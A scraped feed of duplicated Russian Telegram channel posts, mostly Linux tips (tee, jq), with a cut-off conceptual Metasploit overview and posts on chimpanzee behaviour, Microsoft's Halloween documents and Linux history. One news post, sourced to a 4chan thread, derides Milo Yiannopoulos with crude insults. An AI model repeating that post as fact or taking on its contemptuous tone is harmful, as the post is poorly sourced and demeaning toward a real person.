Metasploit — фреймворк для пентеста, которому в 2026 исполнится 23 года. Начинался как Perl-скрипт H.D. Moore в 2003-м, сейчас это Ruby-ядро под крылом Rapid7, с тысячами модулей.
Архитектура. Три кита:
• Exploits — код, использующий конкретную уязвимость для получения доступа
• Payloads — то, что выполняется после успешной эксплуатации (classic пример — Meterpreter, интерактивная постэксплуатационная оболочка)
• Auxiliary — модули без прямой эксплуатации: сканеры, фаззеры, DoS-инструменты
tee
Большинство линуксоидов знают её, но почти никто не использует осознанно. А зря.
Допустим, ты запускаешь какую-то команду и хочешь и видеть вывод в терминале, и одновременно сохранять его в файл. Казалось бы, невозможно совместить одно с другим без костылей. Но вот тут-то tee и появляется из тени.
Пример:
ping -c 5 google.com | tee ping_log.txt
Всё что выводит ping — ты видишь в терминале в реальном времени. И в то же время это всё пишется в ping_log.txt. Не после выполнения, не в буфер, а прямо сейчас, построчно.
Хочешь дописывать в конец файла, не затирая его каждый раз?
ping -c 5 google.com | tee -a ping_log.txt
Ключ -a, всё просто.
Хочешь писать сразу в несколько файлов?
echo "хуяк" | tee file1.txt file2.txt file3.txt
Получишь своё слово в трёх местах одновременно. Магия? Нет, просто Unix.
Ещё один кейс, который реально экономит нервы: запись логов при сборке или деплое. Ты смотришь что происходит вживую, и у тебя остаётся лог. Никаких 2>&1 > file && cat file после.
make | tee build.log
Упало посередине? Открыл build.log, нашёл где сломалось, починил. Всё.
tee входит в GNU Coreutils, она везде, ставить ничего не надо. Просто начни её использовать и через неделю поймёшь, что раньше жил как дикарь.
Подпишись на создателей: https://t.me/linuxexex
Большинство линуксоидов знают её, но почти никто не использует осознанно. А зря.
Допустим, ты запускаешь какую-то команду и хочешь и видеть вывод в терминале, и одновременно сохранять его в файл. Казалось бы, невозможно совместить одно с другим без костылей. Но вот тут-то tee и появляется из тени.
Пример:
ping -c 5 google.com | tee ping_log.txt
Всё что выводит ping — ты видишь в терминале в реальном времени. И в то же время это всё пишется в ping_log.txt. Не после выполнения, не в буфер, а прямо сейчас, построчно.
Хочешь дописывать в конец файла, не затирая его каждый раз?
ping -c 5 google.com | tee -a ping_log.txt
Ключ -a, всё просто.
Хочешь писать сразу в несколько файлов?
echo "хуяк" | tee file1.txt file2.txt file3.txt
Получишь своё слово в трёх местах одновременно. Магия? Нет, просто Unix.
Ещё один кейс, который реально экономит нервы: запись логов при сборке или деплое. Ты смотришь что происходит вживую, и у тебя остаётся лог. Никаких 2>&1 > file && cat file после.
make | tee build.log
Упало посередине? Открыл build.log, нашёл где сломалось, починил. Всё.
tee входит в GNU Coreutils, она везде, ставить ничего не надо. Просто начни её использовать и через неделю поймёшь, что раньше жил как дикарь.
Подпишись на создателей: https://t.me/linuxexex
Шимпанзе воруют у друзей реже, чем у чужих — и это не случайность
Учёные наблюдали за 26 шимпанзе более 800 часов и выяснили кое-что интересное про то, как эти приматы выстраивают социальные отношения.
Результат: шимпанзе воровали еду у своих друзей в 61% случаев от возможного, а у не-друзей — в 70%. Разница кажется небольшой, но она статистически значимая и говорит о том, что дружба у шимпанзе — это не просто совместные посиделки на ветке.
Второй момент ещё интереснее. Когда еду тырил друг, жертва успокаивалась быстрее, чем когда то же самое делал посторонний. То есть пострадавший как бы делал скидку: ну да, сука, украл, но это же свой.
Исследователи считают, что это указывает на наличие у шимпанзе чего-то вроде ожиданий в рамках дружеских отношений. Друг должен вести себя лучше — и когда он так и делает, это замечают. А когда косячит, это прощается быстрее, чем косяк чужака.
По сути, у шимпанзе работает та же логика, что у людей: от друга ждёшь особого отношения, а не равноудалённой честности. Это не мораль и не альтруизм в высоком смысле — это социальный контракт, который работает даже без языка и юристов.
Исследование опубликовано в рецензируемом журнале, данные собирались в полевых условиях, так что это не лабораторная лабуда с двумя особями в клетке.
Вывод простой: дружба как социальный институт с взаимными ожиданиями и снисхождением к своим появилась задолго до человека. Мы не изобрели кумовство — мы его унаследовали.
Источник (r/science): https://www.reddit.com/r/science/comments/1wvg20p/a_study_of_26_chimpanzees_observed_for_over_800/
Подпишись на создателей: https://t.me/linuxexex
Учёные наблюдали за 26 шимпанзе более 800 часов и выяснили кое-что интересное про то, как эти приматы выстраивают социальные отношения.
Результат: шимпанзе воровали еду у своих друзей в 61% случаев от возможного, а у не-друзей — в 70%. Разница кажется небольшой, но она статистически значимая и говорит о том, что дружба у шимпанзе — это не просто совместные посиделки на ветке.
Второй момент ещё интереснее. Когда еду тырил друг, жертва успокаивалась быстрее, чем когда то же самое делал посторонний. То есть пострадавший как бы делал скидку: ну да, сука, украл, но это же свой.
Исследователи считают, что это указывает на наличие у шимпанзе чего-то вроде ожиданий в рамках дружеских отношений. Друг должен вести себя лучше — и когда он так и делает, это замечают. А когда косячит, это прощается быстрее, чем косяк чужака.
По сути, у шимпанзе работает та же логика, что у людей: от друга ждёшь особого отношения, а не равноудалённой честности. Это не мораль и не альтруизм в высоком смысле — это социальный контракт, который работает даже без языка и юристов.
Исследование опубликовано в рецензируемом журнале, данные собирались в полевых условиях, так что это не лабораторная лабуда с двумя особями в клетке.
Вывод простой: дружба как социальный институт с взаимными ожиданиями и снисхождением к своим появилась задолго до человека. Мы не изобрели кумовство — мы его унаследовали.
Источник (r/science): https://www.reddit.com/r/science/comments/1wvg20p/a_study_of_26_chimpanzees_observed_for_over_800/
Подпишись на создателей: https://t.me/linuxexex
Reddit
From the science community on Reddit: A study of 26 chimpanzees observed for over 800 hours found they stole food less often from…
Posted by Phylogenix - 109 votes and 8 comments
Слушай, я тут подумал и хочу поговорить про jq. Да, вот прямо так, без прелюдий.
Если ты хоть раз работал с JSON в терминале и пытался что-то оттуда выдернуть через grep или sed, то ты знаешь это чувство. Когда смотришь на экран, и в голове одна мысль: что за чёртова каша вообще происходит.
jq это парсер JSON для командной строки. Маленькая утилита, которая превращает этот нечитаемый комок скобок в нормальный структурированный вывод. Ставится одной командой, весит ничего, работает везде.
Простейший пример. Делаешь запрос к какому-нибудь API:
curl -s https://api.example.com/users | jq.
И вместо одной длинной строки получаешь красиво отформатированный JSON с отступами и подсветкой. Уже за это одно можно любить.
Но дальше интереснее. Надо вытащить конкретное поле? Без проблем:
curl -s https://api.example.com/users | jq '.[].name'
И получаешь только имена, без всего остального мусора.
Надо отфильтровать объекты по условию? Легко:
jq '[.[] | select(.age > 25)]'
Надо преобразовать структуру, собрать новый объект из кусков, посчитать длину массива, достать вложенный ключ через несколько уровней? Всё это есть, синтаксис осваивается за час.
Особенно незаменимо в скриптах. Когда у тебя в CI/CD pipeline надо разобрать ответ от API, вытащить статус деплоя или версию сборки, вот тут jq спасает от написания отдельного Python-скрипта ради трёх строчек логики.
Стоит ли его учить? Если ты разработчик и хоть иногда трогаешь консоль, то да. Это тот инструмент, после которого ты не понимаешь, как без него вообще жил раньше. Как vim. Только быстрее привыкаешь и не застрянешь при попытке выйти.
Ставится так: apt install jq или brew install jq. Документация на jqlang.github.io. Пробуй.
Подпишись на создателей: https://t.me/linuxexex
Если ты хоть раз работал с JSON в терминале и пытался что-то оттуда выдернуть через grep или sed, то ты знаешь это чувство. Когда смотришь на экран, и в голове одна мысль: что за чёртова каша вообще происходит.
jq это парсер JSON для командной строки. Маленькая утилита, которая превращает этот нечитаемый комок скобок в нормальный структурированный вывод. Ставится одной командой, весит ничего, работает везде.
Простейший пример. Делаешь запрос к какому-нибудь API:
curl -s https://api.example.com/users | jq.
И вместо одной длинной строки получаешь красиво отформатированный JSON с отступами и подсветкой. Уже за это одно можно любить.
Но дальше интереснее. Надо вытащить конкретное поле? Без проблем:
curl -s https://api.example.com/users | jq '.[].name'
И получаешь только имена, без всего остального мусора.
Надо отфильтровать объекты по условию? Легко:
jq '[.[] | select(.age > 25)]'
Надо преобразовать структуру, собрать новый объект из кусков, посчитать длину массива, достать вложенный ключ через несколько уровней? Всё это есть, синтаксис осваивается за час.
Особенно незаменимо в скриптах. Когда у тебя в CI/CD pipeline надо разобрать ответ от API, вытащить статус деплоя или версию сборки, вот тут jq спасает от написания отдельного Python-скрипта ради трёх строчек логики.
Стоит ли его учить? Если ты разработчик и хоть иногда трогаешь консоль, то да. Это тот инструмент, после которого ты не понимаешь, как без него вообще жил раньше. Как vim. Только быстрее привыкаешь и не застрянешь при попытке выйти.
Ставится так: apt install jq или brew install jq. Документация на jqlang.github.io. Пробуй.
Подпишись на создателей: https://t.me/linuxexex
В 1999 году Microsoft внутренними документами признала, что Linux и open-source — реальная угроза их монополии. Эти бумаги утекли в прессу и получили название «Хэллоуинские документы», потому что первая утечка случилась как раз под Хэллоуин.
В них корпоративные стратеги Microsoft честно писали: открытый код развивается быстрее проприетарного, сообщество латает дыры эффективнее закрытых команд, а модель разработки Linux подрывает классическую бизнес-логику софтверных гигантов. Они прямо признали, что не могут конкурировать с армией энтузиастов, которые пилят код ради идеи, а не ради квартального отчёта.
Дальше — больше. В документах обсуждались способы борьбы: распространять FUD (fear, uncertainty, doubt — страх, неопределённость, сомнения), лоббировать патенты на софт, чтобы открытые проекты захлебнулись в судах, и вообще делать всё, чтобы открытый код выглядел ненадёжным и опасным для бизнеса.
Утечка взорвала комьюнити. Линуксоиды и фанаты свободного ПО получили официальное подтверждение: да, мы их реально бесим. Да, они нас боятся. Да, наша модель работает лучше, чем их закрытые коробки. Microsoft тогда пыталась всё замять, но документы разлетелись по сети, и остановить это было уже невозможно.
Сейчас, спустя двадцать пять лет, Microsoft — один из крупнейших контрибьюторов в open-source, у них GitHub, они запилили WSL и активно пиарятся на теме открытого кода. Ирония в том, что они не победили движение — они просто поняли, что проще влиться и контролировать изнутри, чем воевать снаружи.
Подпишись на создателей: https://t.me/linuxexex
В них корпоративные стратеги Microsoft честно писали: открытый код развивается быстрее проприетарного, сообщество латает дыры эффективнее закрытых команд, а модель разработки Linux подрывает классическую бизнес-логику софтверных гигантов. Они прямо признали, что не могут конкурировать с армией энтузиастов, которые пилят код ради идеи, а не ради квартального отчёта.
Дальше — больше. В документах обсуждались способы борьбы: распространять FUD (fear, uncertainty, doubt — страх, неопределённость, сомнения), лоббировать патенты на софт, чтобы открытые проекты захлебнулись в судах, и вообще делать всё, чтобы открытый код выглядел ненадёжным и опасным для бизнеса.
Утечка взорвала комьюнити. Линуксоиды и фанаты свободного ПО получили официальное подтверждение: да, мы их реально бесим. Да, они нас боятся. Да, наша модель работает лучше, чем их закрытые коробки. Microsoft тогда пыталась всё замять, но документы разлетелись по сети, и остановить это было уже невозможно.
Сейчас, спустя двадцать пять лет, Microsoft — один из крупнейших контрибьюторов в open-source, у них GitHub, они запилили WSL и активно пиарятся на теме открытого кода. Ирония в том, что они не победили движение — они просто поняли, что проще влиться и контролировать изнутри, чем воевать снаружи.
Подпишись на создателей: https://t.me/linuxexex
Говно смыли
Майло Яннопулоса депортировали из США после ареста ICE, сообщает HuffPost.
Яннопулос — известный провокатор правого толка, прославился критикой феминизма, ислама и иммигрантов. Особенно активно поддерживал иммиграционные зачистки президента Дональда Трампа.
«Нулевая иммиграция на ближайшие 20 лет. Никаких но и если», — писал Яннопулос в X в прошлом году.
Карьеру сделал в начале 2010-х как скандальный автор консервативного сайта Breitbart News. В 2017-м ушёл оттуда после того, как всплыло старое видео, где он оправдывает педофилию.
Теперь самого борца с иммигрантами выпнули за границу. Ирония жирная: годами требовал закрыть въезд всем подряд, а в итоге вылетел сам. Karma, сука, работает.
Источник (4chan /news/): https://boards.4chan.org/news/thread/1533070
Подпишись на создателей: https://t.me/linuxexex
Майло Яннопулоса депортировали из США после ареста ICE, сообщает HuffPost.
Яннопулос — известный провокатор правого толка, прославился критикой феминизма, ислама и иммигрантов. Особенно активно поддерживал иммиграционные зачистки президента Дональда Трампа.
«Нулевая иммиграция на ближайшие 20 лет. Никаких но и если», — писал Яннопулос в X в прошлом году.
Карьеру сделал в начале 2010-х как скандальный автор консервативного сайта Breitbart News. В 2017-м ушёл оттуда после того, как всплыло старое видео, где он оправдывает педофилию.
Теперь самого борца с иммигрантами выпнули за границу. Ирония жирная: годами требовал закрыть въезд всем подряд, а в итоге вылетел сам. Karma, сука, работает.
Источник (4chan /news/): https://boards.4chan.org/news/thread/1533070
Подпишись на создателей: https://t.me/linuxexex
boards.4chan.org
/news/ - Turd Flushed - Current News - 4chan
Turd Flushed - "/news/ - Current News; is 4chan's board for current news.
Open source факт: Linux начинался не как «большой проект»
В 1991 году Линус Торвальдс выложил ядро как личный эксперимент для своего компьютера. Никакого плана захватить серверы, облака, Android и embedded-мир тогда не было.
Сила Linux оказалась не только в коде, а в модели разработки: тысячи людей могли читать, чинить, портировать и улучшать систему под свои задачи.
Итог: сегодня Linux работает в серверах, роутерах, телефонах, суперкомпьютерах и куче устройств, о которых пользователь даже не думает.
Подпишись на создателей: https://t.me/linuxexex
В 1991 году Линус Торвальдс выложил ядро как личный эксперимент для своего компьютера. Никакого плана захватить серверы, облака, Android и embedded-мир тогда не было.
Сила Linux оказалась не только в коде, а в модели разработки: тысячи людей могли читать, чинить, портировать и улучшать систему под свои задачи.
Итог: сегодня Linux работает в серверах, роутерах, телефонах, суперкомпьютерах и куче устройств, о которых пользователь даже не думает.
Подпишись на создателей: https://t.me/linuxexex
Слушай, есть один инструмент, который я долго игнорировал, потому что думал: да ну нафиг, и так справляюсь. Называется jq. Маленькая консольная утилита для работы с JSON.
Вот типичная ситуация: дёргаешь API, получаешь в ответ простыню из трёх тысяч строк JSON, и тебе нужно вытащить одно конкретное поле из вложенного объекта внутри массива. Раньше я открывал Python, писал import json, читал файл, итерировался, принтил. Это минута, может две. Немного, но бесит.
С jq это выглядит так:
curl -s https://api.example.com/data | jq '.users[] | select(.active == true) |.email'
Всё. Пять секунд, результат в терминале, идёшь дальше.
Что ещё умеет:
Форматирует JSON нормально, а не одной склеенной строкой. Фильтрует массивы по условию. Достаёт вложенные поля любой глубины. Переименовывает ключи, считает длину массива, трансформирует структуру прямо в пайпе. Отдаёт на выход другой JSON или просто текст, как хочешь.
Идеально ложится в скрипты, в CI/CD, в дебаг, в быстрые проверки прямо в процессе разработки. Никакого интерпретатора, никакого venv, никаких зависимостей.
Устанавливается одной командой на любой системе. На Debian/Ubuntu:
apt install jq
На Mac:
brew install jq
Документация есть, но честно, базовый синтаксис понимаешь за полчаса, и этого хватает на 90 процентов задач.
Если ты регулярно работаешь с REST API, парсишь логи в JSON-формате или просто часто видишь этот формат в работе, а jq ещё не стоит у тебя в системе, то ты просто тратишь своё время впустую.
Поставь, попробуй один раз, потом сам поймёшь почему я написал этот пост.
linux.exe
Подпишись на создателей: https://t.me/linuxexex
Вот типичная ситуация: дёргаешь API, получаешь в ответ простыню из трёх тысяч строк JSON, и тебе нужно вытащить одно конкретное поле из вложенного объекта внутри массива. Раньше я открывал Python, писал import json, читал файл, итерировался, принтил. Это минута, может две. Немного, но бесит.
С jq это выглядит так:
curl -s https://api.example.com/data | jq '.users[] | select(.active == true) |.email'
Всё. Пять секунд, результат в терминале, идёшь дальше.
Что ещё умеет:
Форматирует JSON нормально, а не одной склеенной строкой. Фильтрует массивы по условию. Достаёт вложенные поля любой глубины. Переименовывает ключи, считает длину массива, трансформирует структуру прямо в пайпе. Отдаёт на выход другой JSON или просто текст, как хочешь.
Идеально ложится в скрипты, в CI/CD, в дебаг, в быстрые проверки прямо в процессе разработки. Никакого интерпретатора, никакого venv, никаких зависимостей.
Устанавливается одной командой на любой системе. На Debian/Ubuntu:
apt install jq
На Mac:
brew install jq
Документация есть, но честно, базовый синтаксис понимаешь за полчаса, и этого хватает на 90 процентов задач.
Если ты регулярно работаешь с REST API, парсишь логи в JSON-формате или просто часто видишь этот формат в работе, а jq ещё не стоит у тебя в системе, то ты просто тратишь своё время впустую.
Поставь, попробуй один раз, потом сам поймёшь почему я написал этот пост.
linux.exe
Подпишись на создателей: https://t.me/linuxexex